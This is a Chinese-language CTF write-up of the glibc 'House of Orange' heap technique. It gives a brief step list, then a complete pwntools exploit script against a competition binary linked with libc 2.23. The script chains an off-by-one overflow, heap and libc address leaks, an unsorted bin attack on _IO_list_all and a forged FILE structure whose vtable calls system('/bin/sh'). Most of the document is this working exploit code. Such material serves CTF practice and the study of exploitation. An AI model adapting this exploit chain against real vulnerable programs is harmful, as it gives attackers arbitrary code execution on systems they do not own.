house of orange

[TOC] 参考博客

攻击分析

  • 修改top chunk的size,然后add一个大于top chunk size的chunk让top chunk进入unsorted bin,注意top chunk的inuse要为1,同时注意页对齐
  • 利用unsorted bin attack往_IO_list_all写入main_arena+88或main_arena+96,这个地址+0x68的位置(.chain)的值刚好是smallbin 0x60大小的堆块
  • 因此修改刚才的unsorted bin chunk的size为0x61,然后add 一个比它大的chunk让这个chunk进入smallbin。
  • 剩下的就是布置FAKE FILE打FSOP,注意libc2.23的vtable检查不严格,因此可以布置为一个堆地址,然后这个堆地址+0x18为system就行了(_IO_OVERFLOW的位置)

例题

海洋大学第九届信息安全竞赛 orange

  • 题目分析 题目可以free一次,并且有off-by-one,add的大小为size < 0xe0 || size > 0x3e0 这个题的off-by-one用法和以前见的都不一样,这里是通过off-by-one让top chunk的地址降低,然后就可以用chunk2来edit top chunk因此实现了house of orange攻击
  • exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
context(log_level='debug',arch='amd64',os='linux')
p=process("/home/zp9080/PWN/orange")
# p = remote('competition.blue-whale.me', 20918)
libc=ELF("/home/zp9080/PWN/libc-2.23.so")
def add(idx,size):
    p.sendlineafter(b"4.show\n",b"1")
    p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
    p.sendlineafter(b"what size?\n",bytes(str(size), 'ascii'))
def free(idx):
    p.sendlineafter(b"4.show\n",b'2')
    p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
    p.recvuntil(b'this is you want to delete: ')
    return int(p.recv(14),16)
def edit(idx,content):
    p.sendlineafter(b"4.show\n",b'3')
    p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
    p.sendlineafter(b"content:\n",content)
def show(idx):
    p.sendlineafter(b"4.show\n",b'4')
    p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
def dbg():
    gdb.attach(p,'b *$rebase(0xFC4)')
    pause()

add(6,0x1a0)
add(7,0x170)
add(8,0xe0)
add(10,0x380)
add(9,0x380) # above for padding

add(0,0xe8)
add(1,0xf0)
add(2,0xe0)
payload=b'a'*0xe8+b'\xf1' 
edit(0,payload)
#注意free时会通过chunk自身的size去找next chunk判断Inuse位
heap_base=free(1)-0xc40 #会和top chunk合并,让top chunk的地址变低,因此此时的堆风水是chunk2可以编辑top chunk
success("heap_base -> {:#x}".format(heap_base))
add(1,0x100)
payload2=p64(0)+p64(0x2c1) 
edit(2,payload2)


#泄露libcbase
add(3,0x380)  #此时top chunk进入unsorted bin
payload3=b'b'*(0x10-1)
edit(2,payload3)
show(2)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88- 0x10 -libc.symbols['__malloc_hook']
success("libc_base -> {:#x}".format(libc_base))
io_list_all_addr=libc_base+libc.symbols['_IO_list_all']
system_addr=libc_base+libc.symbols['system']

#打house of orange
payload = b"Y"*0x10
flag = b'/bin/sh\x00'
heap=heap_base+0xe10-0x18
fake_size = p64(0x61)
fd = p64(0)
bk = p64(io_list_all_addr - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap)

overflow = p64(system_addr)
payload = flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18  #注意这里的p64(0)*18,不要看错了
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable
edit(2,payload)  
add(4,0x100)
p.interactive()